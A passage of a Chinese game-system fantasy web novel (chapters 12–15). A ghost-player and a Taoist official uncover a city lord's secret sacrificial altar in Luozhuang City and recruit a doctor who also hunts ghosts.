守卫自来熟地迎上来:“是齐大人啊,您差事可办妥了?”
齐览还是不太习惯这边过于热情的交流方式,只草草回复,摸出身份令牌给对方查看。
守卫查验无误,让人去开城门。
“齐大人,您是好官,这大半年就只有您一个从这边去的,我们城主听说了,等您回来,请一定留住两日休整。”
齐览莫名有些抗拒:“公务繁忙,我还需要尽快回京禀报。”
守卫完全无视齐览的意见,叫来一个同事替自己一趟班,就要引路带他去城主府。
看来守卫说的不是客套话,罗庄城城主确实提前有交代。
但是这揽客的招式,让从来生人勿近的青年避之不及。
齐览还要拒绝,手心却传来阴凉的触感。
他一愣神的功夫,就被守卫半强迫地推着走出几步路。
耳畔女鬼的声音传入:“跟他去。”
12. 第 12 章
城主府并不奢华,但足够有压迫力。
齐览和守卫走在前,鱼宣缀在后面。
她拾阶而上,四周观望。
虽说从建筑颜色来看没有鲜艳夺目,但这台阶走过来简直跟朝拜一样。
不难看出罗庄城城主的狼子野心。
鱼宣看向前方青年清瘦背影。
一个有反心的城主,要见京城外派的官员,怎么都不像心血来潮。
如果可以,鱼宣也不想蹚浑水。
但剧本的本质就是跌宕起伏,不往刀尖凑怎么推本呢?
鱼宣打开面板看了看,留行丹还剩六颗。
不过,为什么物品名称标红了?
鱼宣定睛一看。
“物品:留行丹——拯救血条,提神醒脑。(温馨提示:用药需适度,请勿当饭吃。)”
鱼宣寻思自己也才用四颗,而且全塞NPC嘴里了。
想起齐览平白被血糊了半张脸的场面,鱼宣不免心虚。
总不能是被她给喂出内伤了吧。
鱼宣悄悄抬眼。
这NPC,虚不受补啊。
虚不受补的青年道长跟着守卫来到前厅。
说是前厅,其实形同大殿。
几抱粗的柱子上雕刻着令人眼花缭乱的装饰。
主题内容是头上长角的狰狞的长虫。
是蛟。
“恭喜玩家开启新地图:人心不足,饿于恶鬼——罗庄城。”
“您已解锁副本【罗庄城】”
突兀的系统声打断鱼宣的观察,她还没想明白为什么这次的提示居然到这地方才出现,下一条信息接踵而至。
“新角色:洪霖——罗庄城城主。”
罗庄城城主姗姗来迟,当着齐览的面坐上明显藏了暗纹的主座。
鱼宣不用想都知道那上面会是什么纹样。
柱上蛟,一遇风云便化龙。
不过这位城主显然是显摆错了人。
别说他坐一把藏着掖着的山寨龙椅,就算他爬到京城那把真龙椅上,齐览也不太在乎。
青年被迫打官腔:“城主盛情相邀,齐某受宠若惊。”
罗庄城城主是个干瘦的中年人。
无处不在的灵异,让有权有势的人寝食难安,消瘦也正常。无权无势的人,也没那个机会寝食难安。
看得出来他底子不错。
毕竟本朝皇帝选官,要求五官端正,身姿清朗。
城主也维持着面子上的客气:“下官洪霖,听闻京城来使,不胜惶恐。之前大人公务在身,不敢耽误,如今事既已成,又舟车劳顿,还请在罗庄城歇息几日。”
不等齐览找到说辞拒绝,城主又情真意切地接着道:“实不相瞒,我留大人,不是为了阻挠公务,是得知大人身负杀灭灵异之能,有要事相求。”
话说得很好听。
但鱼宣看一眼城主稳坐高位一动不动的模样,一点也看不出来他要求人办事。
再看齐览,已经被道德绑架得憋不出话来。
洪霖是个聪明人,一看就知道这事成了,当即摆出一副笑脸来:“齐大人义薄云天,我先替罗庄百姓谢过了。”
齐览骑虎难下,木着脸问:“灵异在何处?”
洪霖笑道:“大人误会了,并非是灵异在城中作乱。”
齐览皱眉:“那是在城外?”
小范围的还好,大范围的灵异如海市蜃楼,要确定其所在都难如登天。
见齐览面色不虞,洪霖连忙解释:“罗庄城城门设有国师大人的阵法,能分辨出入之人是否为灵异假扮,却苦于没有抵御手段。”
“京城义士各地奔波,天下民生必然有更需要援助的,但我作为一城之主,私心为罗庄城多考虑些。”
齐览老老实实听他念,没明白他的需求。
鱼宣倚靠在一旁的柱子上,从一大段废话中抽丝剥茧,大概理解洪霖图什么了。
他想要个金钟罩,能罩住整个罗庄城那种。
至于是不是用来抵御灵异,保护百姓,那就不好说了。
女鬼静静注视着这位城主,总觉得违和。
对齐览而言这是个没有被灵异侵占的城池,多少放松了点。
但鱼宣知道,被系统介绍过的角色没有不作妖的道理。
齐览不确定道:“护城法阵吗?”
“不止如此,”洪霖目光炯炯,“要让灵异被阻断,内部的出不去,外面的进不来。”
“到时候,凡城内的灵异,一一找出,再请齐大人这样的能人剿杀,自此罗庄城就固若金汤了。”
洪霖很有想法。
城内灵异一般不成气候,剿杀后一番宣扬,轻易便可鼓舞民心。
而城外灵异无从进入,自不会扰乱之后各种部署。
世上只剩一方安土,他不称王,也要成王了。
问题在于。
“齐某学艺不精,暂时还无法独立完成大规模的阵法。”
洪霖对这个说法没有怀疑,他退而求其次:“既然如此,烦请大人先为下官的府邸布阵。”
他那张捏不出一把肉的脸上浮现腼腆之色:“下官的妻女在府上夜夜不得好眠,只希望能保她们平安,下官感激涕零。”
洪霖走下主座,到齐览面前躬身行礼。
齐览尴尬地往后躲。
他在心里估计了一下城主府的规模,觉得这也算是个大工程了。
但之前已经拒绝过一次,又确实在他能力范围内,现在还在人家的地盘上。
齐览把一直躬着身的洪霖扶起来,认命道:“需要城主为我准备法器。”
洪霖喜笑颜开:“那是自然。”
一个大型阵法要考虑的兼容性太复杂了,即使齐览读过万卷书,也需要时间整理思路规划一番。
洪霖乐呵呵地让他不必着急,亲自将人送到府内一处单独的宅院。
齐览大概知道鱼宣一直跟着他。
洪霖一走,齐览就想开口唤她。
女鬼冰凉的手捂上齐览嘴巴,另一只手虚虚地搭在他的脖颈处。
“别说话,到桌前坐下。”
标准的挟持人质手法。
齐览被女鬼拿捏住命脉,连下意识的紧绷都没有,关上门听从鱼宣的指令行事。
洪霖一定是早有谋划。
桌面上笔墨纸砚齐全,拉开抽屉,朱砂黄纸也齐全。
鱼宣接着指挥:“画个能隔绝视听的符。”
齐览动作明显加快。
“好了。”
鱼宣解除隐匿。
这是她第一次当着齐览的面使用技能。
齐览料到她会凭空出现,没料到他们之间姿势如此暧昧。
其实该想到的。但单凭触感和亲眼所见还是有差别。
鱼宣看他僵硬又紧绷,好心退开来,绕过他到桌前,把抽屉里的黄纸薅了一半收好。
“物品:黄纸——道士入门文具。”
女鬼熟练地做完打家劫舍的勾当,回过头来给齐览让位置。
“城主说的那个阵法,真有那么难搞吗?”
鱼宣认为作为
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开局赠送的NPC,齐览起到了一个百科全书的作用,不应该有他觉得棘手的常识问题和专业问题。
这小子别是学机灵了,在这儿唬人吧。
“内外双向防御的阵法,古来少有,”齐览坐下,开始磨墨,“不难,但是太杂糅,只能依据地势而造。”
约等于一个从零开始的工程。
鱼宣沉默,觉得道士也不是一个轻松的职业。
光拼命不够,还得压榨脑力。
女鬼迅速放弃了偷师学艺的想法。
这种技术,就算让她学,她也是懒得用的。
她潇洒地挥挥手:“齐大人您忙,我今日还未午休,先去补觉了。”
已经申时了。
按女鬼的习惯,估计要睡到用晚膳的时辰。
离开桃源镇以后,齐览就没有饥饿感了。
鱼宣作为灵异,更不可能饿。
但想也知道,洪霖作为一城之主,必然深谙待客之道,别说齐览是个活人能吃东西,就算他是个死人也连盘子带桌插一炷香送到他手边。
鱼宣的格外特殊之处在于,她能吃活人的食物。
灵异越高阶,与常人越相近。
从她吃下自己煮的挂面开始,齐览就知道这只灵异深不可测。
于是他断定她是“虚弱将死”,而不是“弱”。
偏偏女鬼格外馋嘴,如果他去赴约用膳,让她在一边看着的话,指不定被怎么记恨。
齐览叹气。
他起身到里间床边落下帘子,再开门唤来侍从。
“去告诉城主,他交代的事我有些眉目,按这张纸上准备好东西,”青年将墨迹未干的宣纸递过去,“只是此事极为耗神,需要集中精力,不宜中断,今日晚膳送到我房里来即可,就不作陪了。”
侍从领命而去。
日头落下来,昏黄光晕从窗户漏进来。
齐览伏案疾笔。
鱼宣走到他身后,就见桌子两边一边一摞用过的纸。
从字迹来看,左边是成稿,右边是草稿。
女鬼大概估算了一下这个工作量,怀疑道:“城主叫人来催过你了?”
齐览摇头:“思路顺下来,不知不觉就做到现在。”
鱼宣咂舌,心想城主算是找对人了,这是个真正好压榨的老实人。
正是饭点,鱼宣隐隐闻到食物的香气。
她不再管NPC的劳模属性,迅速换了话题:“那吃饭吧。”
齐览毫不意外,到外间把桌上遮挡的竹编盖子拿开。
九道菜,四荤五素。
比他当时煮的清水挂面要拿得出手。
鱼宣两眼放光。
全息游戏最受欢迎的一个功能是什么?
一比一还原五感,吃再多也不会影响身体健康。
对于鱼宣这样本就缺乏运动的人来说,在饮食上的管理就需要更重视。
但是全息吃饭模拟器的价格对于鱼宣来说有点奢侈,她也就能眼馋一下了。
被强行留滞在游戏里,碰到城主府这种大富大贵的地图要是不好好享受的话也太冤枉了。
侍从只送来一只空碗。
齐览帮她添了米饭,知道她的主要目标在菜品上,自己干脆就着饭盆吃。
好在配了一双筷子一把勺,用勺子吃饭也还算利索。
鱼宣干饭的间隙瞥他一眼,见他可怜,也帮他挑几筷子菜。
正吃着饭,系统提示音冷不丁响起。
“当前进度:11%(剧情探索达到60%将解锁支线)”
13. 第 13 章
好消息是什么都没干就涨了一个百分点的进度。
坏消息是完全不知道这点是加在哪里,以至于无从下手推本。
鱼宣咽下一口红烧鸡肉,犹豫着开口:“齐大人,我们要不要去看看城主?”
这剧情八成就是洪霖推进的,现在去逮他应该能赶上。
齐览已经习惯女鬼的心血来潮,略一思索就同意:“可以,但不能被发现。”
意思是让鱼宣自己去。
鱼宣只是下意识要带上他,本也不指望。留他在这里守着也好,免得惹洪霖怀疑。
女鬼头也不回的转身走向窗户。
门凭空开合被人看见多少会起疑心,窗户是个好选择。
由于她半路开了隐匿,齐览没能看见她爬窗的具体动作,但料想她不会穿墙。
毕竟之前在罗庄城外,她也只是跟着他进来。
齐览一时清静,反而写不下去。
洪霖说城门口有分辨灵异的阵法,那为什么鱼宣通过却无事发生?
是阵法不足以感知到她,还是灵异入城已经被洪霖得知?
鱼宣不是个路痴,很快按照系统地图找到洪霖的住处。
城主不算自由职业,对当值时辰有安排。
齐览的晚饭是单独做了送来的,比寻常起灶时间要早。
眼下洪霖理应正在往回赶的路上。
洪霖显然不是个按时上下班的老实人。
鱼宣轻飘飘踏过门槛,之前在洪霖身上察觉到的不对劲感再次出现。
这次更强烈。
女鬼的手无意识扶上门框。
“玩家受到攻击,当前血量:99.9/100”
鱼宣:?
女鬼收回手,与门框接触的指腹浮现血痕。
鱼宣:……
她离那扇门远了点,重新审视这个平平无奇的建筑群。
角落的地方有一小块没有被朱红颜料照顾到,鱼宣蹲下细细查看。
眼熟。
黑木。
女鬼眯眼。
怪不得齐览拖着那块棺材板不放,原来黑木对灵异能起到这么显著的伤害作用。
不过齐览那块毕竟本来就是她的棺材板,顶多有压制和封印的效果。
也不知道洪霖在这些木材上加了什么,攻击力强悍得吓人。
鱼宣盯着自己缺失0.1的血条看了一会儿,最终没有使用留行丹。
先不说那是给道士吃的东西,单看齐览被药过头出血的症状来看,应该也不是什么稀罕物。
劣质丹药吃不得。
小心避开各类木质建筑,鱼宣把洪霖的府邸翻了个底朝天。
最后不情不愿地踏入危机重重全是木板的室内探索。
掉血的系统提示音不断响起。
鱼宣一边暗骂一边以最快的速度筛查。
最有可能的书房,没有。
最私人的卧室,没有。
莺莺燕燕的后院。
鱼宣开着隐匿肆无忌惮探头从窗户往里看,一间间看过去,发现洪霖的审美还真是出奇的单一。
一溜的病美人。
数下来有三十六人之多。
之前情深意重关怀妻女的话就显得相当值得怀疑。
鱼宣想了想,觉得也说不定。
毕竟这些确实都是他的妻妾,也确实看起来不怎么精神。
只是不见洪霖的女儿。
鱼宣的血条很经得起消耗,逛了一圈下来才掉了不到二十点。
比起齐览几板子下去打散架的邪灵来说,鱼宣简直是在被刮痧。
“十三小姐,请不要躲了,”侍从装扮的男人面色焦急,四处张望,“城主请您过去呢。”
十三小姐?
鱼宣抓住关键词,当即跟上侍从。
这个侍从抓人抓得轻车熟路,很快从一个空水缸里拎出头顶扎着两团圆髻的小姑娘。
这位十三小姐看上去不过六七岁,衣裳裹得凌乱,完全不像有人伺候的。
城主府至于在这方面上节省?
小姑娘从始至终没出声,挣扎的力道也微弱。
“新角色:哑女——罗庄城城主妾室所出,排行十三。”
连名字都没有?
鱼宣思索着一路跟过去,来到池塘边的观景台上,眼睁睁看着侍从把哑女扔下去。
突如其来的变故让鱼宣差点出手去捞人。
哑女落入湖面,没激起半点水花,直直穿透湖面消失不见。
鱼宣松一口气,紧随其后。
系统提示音戛然而止。
太反常了,按理说越机密的地方越应该严防死守。
洪霖费心机用池塘掩盖的地方,居然反而包容灵异。
水面底下,是一方青铜祭台。
哑女正好落在其中。
鱼宣在半空中扑腾了几下,最终也不可避免地掉在台面上。
“玩家接受献祭,血量回升中。”
鱼宣退出祭台范围,翻出面板数据。
就这么几步路的时间,血条已经涨到90/100。
而祭台中的哑女已然奄奄一息,变得与后院那些病美人没什么区别,甚至面色已经泛起青紫。
鱼宣心虚地又后退一步。
洪霖这时带着狂喜之色从不知道什么方位走出。
他很谨慎,没有上祭台。
“你是十三?”
哑女的眼已经无法聚焦,更不可能回应洪霖的问话。
鱼宣暂且认为自己算半个罪魁祸首,老老实实站在一旁看洪霖想把人拉过去又不敢上前的焦急模样。
看他这瞻前顾后的胆小样子,也不像是有本事搞出这个祭台的。
只是周围除了祭台就是石阶石砖,连一根杂草也没有,洪霖想捡树杈子把人叉下来都没指望。
洪霖转身离开了,想必是去找人来。
这次鱼宣看得清楚,洪霖是从一块石砖上凭空不见的。
女鬼小心翼翼沿着洪霖的轨迹过去,蹲下来摸了摸那块砖。
很好认,上面有不知道用什么凿出来的凹痕。
鱼宣拿开手的时候,凹痕从她触碰的位置开始一点点填满红色。
她等了半天,既没有被传送出去,也没有看见凹痕褪色。
在没有系统提示的情况下,鱼宣只能认为自己被碰瓷了。
无助的女鬼感叹了一会儿自己叫天天不灵的处境,突然想到:这里不就是那个洪霖问齐览要的阵法吗?
能攻击外面的灵异,又能把进入的灵异锁在里面。
除了不
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能隔绝灵异之外,简直完美契合洪霖的需求。
鱼宣大胆假设:洪霖机缘巧合之下得到这个现成的宝贝,他既没有说明书,也没有管理权限,但是发现把人放上去能触发一些反应,于是不断尝试。
为此他盯上了齐览,想要借助道门术法榨取祭台的价值。
这次由于鱼宣的参与,导致了异常发生,洪霖有所察觉匆匆赶来。
结果当然不会是洪霖希望看到的,毕竟鱼宣目前触发的反应也不过是能量的转换而已。
并且这种转换只限于灵异,洪霖作为一个纯种人类,大概率用不上。
那么还有一个问题:后院的三十几个病美人,她们上过祭台之后,献祭给谁了?
鱼宣冥思苦想的时候,洪霖带着树杈子回来了。
等他走近些,女鬼看清那是一张捞网。
也是,这种见不得人的地方,越少人知道越好。
胸怀大志的人总是不吝亲力亲为的。
哑女年纪小身量轻,把她从祭台上扒下来费不了多少力气。
洪霖处理这类事已经轻车熟路,利索地把瘦骨伶仃的哑女捞起来往外走。
想必他也清楚,被祭台作为牺牲献祭过的人类,再没有恢复成活蹦乱跳状态的可能了。如果还不及时从身体上供养起来,人没了只是一会儿的事。
洪霖还盼着从哑女身上获得新发现,当然不肯轻易让她解脱。
往后缠绵病榻的日子长长久久,分不清好死和赖活哪个更让人青睐。
鱼宣学聪明了,手搭在哑女身上被连带着拉出去。
所幸洪霖心急,没注意砖痕的异样。
女鬼开启自动跟随慢悠悠落在洪霖身后。
日理万机的城主不会记得哑女的住处,他想也没想就带着人望自己的院子去,对值守的侍从吩咐:“请天师来,再请方大夫。”
侍从为难:“天师一月前曾递消息来,说要出门云游,至今未归。”
洪霖焦躁道:“那快请方大夫。”
他的急切溢于言表,侍从不敢耽搁,匆忙应下。
将人放在外间的软塌上,洪霖从一旁的矮柜里摸出一只圆润的机关匣子。
解开暗扣,一枚黑褐色的大药丸赫然其中。
鱼宣瞪眼一看,有种强烈又熟悉的既视感。
这药丸给人一种很可靠的感觉,不用说都知道是大补的功效。
“物品:乌凤丸——古法古方,值得信赖。”
鱼宣:……
补凡人气血的东西,女鬼本来不放在心上。
但鱼宣很快想到自己还有一个NPC要养,目前已知他被自己过量用药毒害出内伤。
生活不易,女鬼叹气。
留行丹是不能用了,但是白凤丸显然是个给齐览用不会出错的增益道具。
她的目光平移过去,视线虚虚落在那方矮柜上。
堂堂一城之主,既然都在规划问鼎天下的宏图霸业了,应该不至于吝啬一柜子普通药丸吧。
没等鱼宣有动作,轻而稳的脚步声由远及近。
男人翠衣玉带,眉目舒朗,肩上挎着颇有分量的药箱,属于大夫的温润气质格外鲜明。
“城主,找我何事?”
“新角色:方逢玉——三代从医,副业捉鬼。”
14. 第 14 章
已经对自己女鬼身份十分认同的鱼宣猝不及防碰到一个捉鬼的,脑筋都绷直了一瞬。
但是她转念一想,自己还有隐匿在身,别说一个半吊子道士,就连齐览也发现不了她。
鱼宣安下心来,凑过去看方逢玉诊脉。
想来如果方逢玉不懂一些道术,也不会被洪霖指名叫来。
这种丧良心的事,怎么都不好交代,况且洪霖已经祸害了三十几个人。
只能逮着一个称心的大夫用了。
但是这次的状况由于鱼宣这个新因素的介入而变得复杂。
方逢玉眉头越皱越紧。
最后摇摇头:“她的情况与其他夫人不一样,无论魂魄还是肉身都伤及根本,即使用药吊着,也最多只有三日好活。”
洪霖面上不见悲痛失望,反而急急追问:“方大夫可否透露具体缘由?”
方逢玉似笑非笑看向他:“我只是个大夫,看这类疑难杂症本就是超出职责的事,再多的我也不清楚了。”
洪霖知道不能把人得罪了,不再刨根问底:“那请方大夫开药吧。”
方逢玉打开药箱拎出一捆纸包。
“还是按之前的药方抓的药,不过剂量要加倍。”
他没让洪霖接,直接放在一旁桌案上。
方逢玉意有所指:“若要蕴养魂魄,最有疗效的该是灵异地盘上的槐树根。”
洪霖眼皮一跳。
“不过这药就算城主叫我开,我也是无能为力的,”方逢玉叹气,“那样危险的地方,我一个手无缚鸡之力的大夫怎么可能去得了。”
洪霖唤了侍从煎药,客气道:“我自不会提这种无理要求,还请方大夫告知药材方位,我稍后遣人去打听一番。”
“不远,”方逢玉笑眯眯,“而且罗庄城新来的客人,正是从那里来。”
鱼宣:?
她不记得自己有惹过这个NPC。
洪霖不傻:“那是京城外派的伏灵使,又不是专程去求药的,总不至于带了槐树根来。”
灵异所在随时变换,就算洪霖腆着脸去请齐览再跑一趟也无济于事。
方逢玉淡淡瞥他一眼:“所以我才说无能为力。”
洪霖一噎。
“乌凤丸用过了?”
“用过了。”
方逢玉没有什么其他要交代的,索然无味地看一眼面无血色的哑女,向洪霖告辞。
鱼宣踌躇犹豫,还是抛下洪霖这边跟上方逢玉。
这个沾点谜语人属性的NPC一看就不简单。
不简单的方逢玉出了院子,拐了弯往偏院去。
鱼宣眼睁睁看着人模人样的方逢玉熟练叩开了一道门。
门内的女人比后院的三十几位有精气神多了。
“新角色:孙照影——罗庄城城主妾室,魂魄轻微受损,目不能视,寿余十年。”
方逢玉主动开口:“照影,是我。”
孙照影腕上木镯与门板碰出声响。
她没动。
方逢玉上前将人拥入怀中。
鱼宣眨眨眼,重新去看孙照影的介绍。
是罗庄城城主的妾室,没错。
鱼宣不是很懂,但她猜洪霖是知情且默许的。
招揽人才是这么个招揽法吗?
鱼宣顶着一脑门问号,一时也不急着走了,准备就在这儿看完这场闹剧。
方逢玉与孙照影一同进了院子,栓上门。
“既然一路跟来,何不现身?”
鱼宣一懵,翻出面板,隐匿还开着。
那应该不是说她。
“若我没记错,是位姑娘吧,”方逢玉握着孙照影的手紧了紧,“今日午时与齐道长一同入城。”
哦,那没别人了。
鱼宣没解除隐匿,问:“你怎么发现的?”
系统给的技能应该天衣无缝才对。
方逢玉没有藏着掖着:“我天生半灵胎,凡灵异近身必有感应。”
怪不得一个大夫跑去学道术,原来是迫不得已。
对灵异越敏感,就越容易被盯上。
鱼宣郁闷道:“我在这儿碍着你们了?”
她又没干嘛,为什么特地点她?
方逢玉沉默。
任谁与爱人亲密时,知道有旁人在场偷窥,都不会置之不理吧。
何况,方逢玉有自己的算盘。
“姑娘与齐道长同路而来,可见过槐树根吗?”
鱼宣看一眼因失明和惧怕而紧紧抓着方逢玉的孙照影,实话实说:“见过,但我不知道它有用。”
如果知道的话,怎么说也得薅一点。
这也是意料之中的回答。
槐树根对灵异用处不大,方逢玉不能指望对方有收集癖。
鱼宣看他还蠢蠢欲动,补充:“我跟齐览都是被从里面赶出来的,再要回去是不能了。”
方逢玉咬咬牙:“还请姑娘指条路,我自行前往。”
孙照影一言不发。
鱼宣没从她脸上看出任何有关反对或欣喜的情绪。
本以为能看到俗套拉扯剧情的女鬼移开视线。
“我是可以指路,”鱼宣道,“不过方大夫,你拿什么回报我呢?”
方逢玉没什么神色变化,孙照影的脸却一下子白了。
与灵异做交易的人不少。
而那些铤而走险的人,失去的东西千奇百怪,总逃不过一个短命。
运气好的出气多进气少,运气不好的当场暴毙被借尸还魂。
一桩桩一件件从前的奇闻异事在两个人类脑中浮现。
做好死无全尸魂飞魄散的心理准备后,方逢玉谨慎开口:“您要什么?”
这会儿知道用尊称了,看来也是怕的。
鱼宣轻哼:“你药箱里的药,还有洪霖今日用的乌鸡丸,有多少给多少。另外,我要你为齐览看诊开方。”
方逢玉提醒:“是乌凤丸。”
鱼宣当然知道,她只是一时顺口。
“……我觉得我的要求不算为难。”
确实不算,作为一个灵异来说这点要求简直过于友善了。
都是在方逢玉能力范围内的,而且都没什么危险性。
他松懈下来,一口答应。
鱼宣满意:“我看你对城主府挺熟悉的,那就自己找到路去见齐览吧,行事隐蔽点。”
话是这么说,女鬼并不打算提前跟齐览打招呼。
以初见时齐览反手往她脖颈上架刀子的手法来看,相信他一定能给鬼鬼
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祟祟找上门的可疑人物一个难忘的教训。
敢监视他们,还好意思来求她办事。
先吃顿苦头再说吧。
当然,鱼宣是个诚实守信的好公民,并不打算赖账。
“从罗庄城一路往边境线走,那儿有个乱葬岗,”女鬼毫不吝惜地出卖自己的出生点,“如果你能找到一口黑木棺材的话,掰下一条来再往回走,说不定能进得去。”
虽然鱼宣离开了,但是周平宛还在桃源镇啊。
棺材板这种与灵异颇有羁绊的物品,多多少少能引起她的注意。
灵异触发的条件各有各的不同寻常,方逢玉对鱼宣的指示并不见怪。
他躬身行礼谢过,再直起腰已经感知不到属于鱼宣的灵异气息。
天彻底入夜,忙碌了一下午的青年道长终于等到女鬼回来。
解除了隐匿的鱼宣坐到外间的圆桌旁,看着正在做收尾工作的齐览,开始分享今日见闻。
除去自己打算把方逢玉拐来给他看看病的事,其他的都倒豆子似的倒了个干净。
齐览越听面色越冷。
“不清楚下面是什么就入水,要是洪霖不进去你要怎么回来?”
“那人能察觉你,你就这么跟过去暴露行迹,万一被瓮中捉鳖呢?”
“还有黑木……”
鱼宣捧着脑袋听他念。
“罗庄城城主为了祭阵连六七岁的孩子都能下狠手,如你所说,已不知祭阵持续多久,我们必须在离开前解决他。”
“罗庄城管辖之内,无人能与他叫板,也不知他从祭阵得到什么好处,不能轻举妄动。”
“总之你这几日不要轻易外出,如果有什么想知道的,我去打听。”
青年道长神色严肃。
见他终于停下来,鱼宣吩咐:“叫人打水来吧,我要洗漱了。”
齐览一口气不上不下,差点道心不稳。
鱼宣也没想到这个锯嘴葫芦似的NPC能一顿说这么大堆话。
果然还是得晾晾,说不定下次能吐出更多有用的信息。
齐览让人去打水,回来稍微平心静气了点,问:“不是有除尘符印吗?”
鱼宣老实回答:“那个没有实感。”
虽然清爽是清爽了,但总觉得缺少了洗漱的步骤,令女鬼无法安眠。
何况在外奔波那么多天她都没碰水,难得有条件为什么不享受?
鱼宣理直气壮,齐览不欲在小事上也苛待她,干脆随她去。
按照鱼宣的说法,她今日被城主府内的布局攻击,在祭台得到献祭,但现在还是轻微受伤状态。
青年道长忧心忡忡。
本来就虚弱到了失忆的地步,又添新伤,一个实力强盛的灵异怎么总把自己搞得这么狼狈。
这边担心完,转头看到鱼宣安详如躺尸的睡姿,齐览一时无言。
从乱葬岗带出来的黑木静静搁在床边,女鬼睡得毫无防备。
作为棺材的组成部分,上面附着了压制棺中灵异的符印。
这也是齐览一直不离身的原因。
鱼宣能被城主府的黑木伤到,却对这块专门针对她的黑木毫无反应,这显然是不合理的。
除非。
鱼宣本就不是棺中灵异。
15. 第 15 章
齐览听见窗外一阵悉悉索索的动静,从成堆的纸张中抬起头来。
不走正路,看来不是侍从。
这么晚了,洪霖不会来,更不会自降身份地从小路走。
想起鱼宣说府内祭阵是向灵异献祭,齐览不由警觉。
声响越来越近。
齐览在室内用过屏蔽视听的术法,外人无法探查屋内情况,难免露出不少破绽。
那人刚攀上窗沿,就被齐览拽进来按住。
不问其他,先把胳膊卸了。
一阵剧痛后两条手臂完全使不上力的方逢玉脑门磕在地上,又不敢叫唤把人引来,只能小声告饶:“大人,我是你身边那位姑娘找来的大夫。”
齐览没松手。
方逢玉甚至从他的语调里听出几分诡异的阴森:“那位芝兰玉树、温润亲切的方大夫?”
方大夫总觉得鱼宣不像是与齐览说过她请了个大夫,倒像是被齐览发现她找了个情夫。
他犹犹豫豫地认下:“……是。”
齐览没再按着他,也没帮他把脱臼的手臂安回去。
青年道长直起身来,居高临下地问话:“她找你做什么?”
找大夫还能做什么?
方逢玉莫名其妙。
“你走吧,她的病你看不明白。”
虽然齐览很欣慰鱼宣把自己的话听进去了,但要找也不该找个平平无奇只有脸能看还品德败坏专找有夫之妇的庸医。
对,庸医。
作为洪霖的帮凶,他毫无医者仁心。
作为孙照影的爱人,他夺人之妻。
鱼宣为什么找他?还是这个时间。
青年道长困惑地侧头看向里间。
他能猜到,洪霖用方逢玉是因为他们之间达成了某种协议,或许就与孙照影有关。
鱼宣说他的医术有家学渊源,也会道术。
齐览面无表情:那有什么了不起。他修习道术十九年,从未懈怠,不可能比不过一个半路出家的大夫。
找他看病?
什么大夫能看灵异的病?
女鬼失了忆,不通人情,被心术不正的人哄骗很正常。
不知道自己已经被贴上“好骗”标签的女鬼本就在浅眠状态,早就醒过来,等方逢玉被折腾得够呛,她才慢吞吞坐起身下床。
“方大夫?”
她没开隐匿,就这样走出来。
方逢玉正要抬头请她帮忙解释,就又被按着后脑勺砸在地上。
这下动静让鱼宣听着都牙酸。
齐览冷冰冰道:“藏好。”
鱼宣听明白了,他是让她开隐匿。
女鬼不理解但照做。
总觉得不照做的话,她好不容易请来的大夫就要被按进地板里了。
“好了。”
齐览的手松开,但方逢玉已经疲于挣扎,干脆趴地上不动了。
鱼宣小心翼翼开口:“齐大人,是我叫他来的。”
齐览语气硬邦邦:“叫他来做什么?他治不了你。”
青年脑子里考虑着先把鱼宣带回山中,翻遍藏书,总能找到办法。
完全不需要、也用不着方逢玉。
鱼宣总算知道齐览的重点在哪了,她解释:“找他,给你看看。”
怕NPC脑回路又乱窜,她连忙补充:“你吃太多留行丹,副作用已经很明显了。”
齐览一愣。
“给我找的大夫?”
鱼宣幽幽看他:“不然呢?”
她自己的身体自己知道,能吃能睡活蹦乱跳,还能在持续掉血的地图里逛一圈。
比被几颗药补出血的NPC要健康多了。
方逢玉见两人唠上了,忍不住提醒:“既然是误会,能帮帮忙把我的手接上吗?”
齐览逃避似的假装没听见。
鱼宣用胳膊肘碰碰他:“去啊。”
方逢玉现在见齐览都有点发怵,胳膊能动了之后恨不得赶紧开溜。
但他又答应了要看诊。
方逢玉苦笑:“齐道长,请到那边坐下吧。”
不出意料,齐览确实是吃药吃伤了。
方逢玉作为大夫还真有那么一手,一套动作行云流水,比人伢子还专业。
在他伸手要去掀齐览眼皮的时候,被瞪得不敢动弹。
鱼宣轻咳一声:“好了,方大夫,您说个结果就成。”
方逢玉如蒙大赦,边收拾东西边说:“是有些受药性影响,近半年内不得再服用此类丹药。另外注意休养,吃些补血益气的膳食,不耽误其他。”
看齐览半点不肯交流的模样,鱼宣只好担起外交职责。
“我知道了,多谢。”
“药箱我就留这儿了,”方逢玉指了指木箱,“之后若还有需要也尽管吩咐,只是不要再殴打医者了。”
翻窗进来的时候已经丢尽脸面,这会儿也不在乎仪态了,非常麻利地爬了出去。
鱼宣转头问:“为什么让我藏?”
方逢玉一个半吊子道士,齐览稍一出手就把人压制地毫无还手之力,何况她还是个灵异。
齐览憋了半天,只一句:“防人之心不可无。”
青年想,说不定之前方逢玉已经见过鱼宣的面,他现在完全是在说废话。
鱼宣赞同道:“说得不错,这人与洪霖狼狈为奸,还好我不曾在他面前现身过。”
还没有亡羊。
但齐览没有放过补牢的机会。
“任何人,最好连灵异也不要相信,”齐览对着刚才与她接触的方向严肃道,“既然你有这个能力,就好好利用。”
非常有学堂先生的气势。
可惜鱼宣已经绕到他另一边,看他跟空气摆脸色。
她解除隐匿,刻意揶揄:“可是齐大人已经见过我了。”
齐览想说他不一样。
但其实他也没什么不一样。
他更恶劣,一开始就带着目的来,从京城奉命出发,要将她拖入未知的险境。
一句话让NPC无话可说的鱼宣最终也没有从对方口中听到什么冠冕堂皇的话。
他说:“覆水难收。”
就算她后悔也来不及了。
鱼宣没懂,只当NPC又谜语人属性大爆发。
她打开方逢玉留下的药箱。
“物品:乌凤丸——古法古方,值得信赖。”
“物品:中药包——不治急症,专治短命。”
“物品:救心草——活血化瘀,利湿消肿。”
鱼宣一眼看过去,没发现什么好东西。
救心草这名字听起来明明很有用,为什么只是
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起到一个活血效果?
不过方逢玉这一趟来得匆忙,只带这些也合理。
以他的脑子,下次应该会准备点不一样的。
往齐览手上塞了一枚乌凤丸,鱼宣高高兴兴把一堆药品收好,以为他还要加班加点,于是自顾自躺回床上。
齐览敛眸,亦步亦趋跟着也到床边。
鱼宣纳闷:“你不干活了?”
齐览没说自己早就完成了,而是搬出方逢玉的话来:“大夫说让我注意休养。”
会遵医嘱的病人,就像下雨天会打伞的小朋友一样惹人怜爱。
鱼宣满意地让出位置,翻了个身继续睡觉。
齐览这晚没有打坐调息,久违地躺下,像还未正式入道时那样进入睡眠。
第二天鱼宣睁眼,又是来自系统的提示。
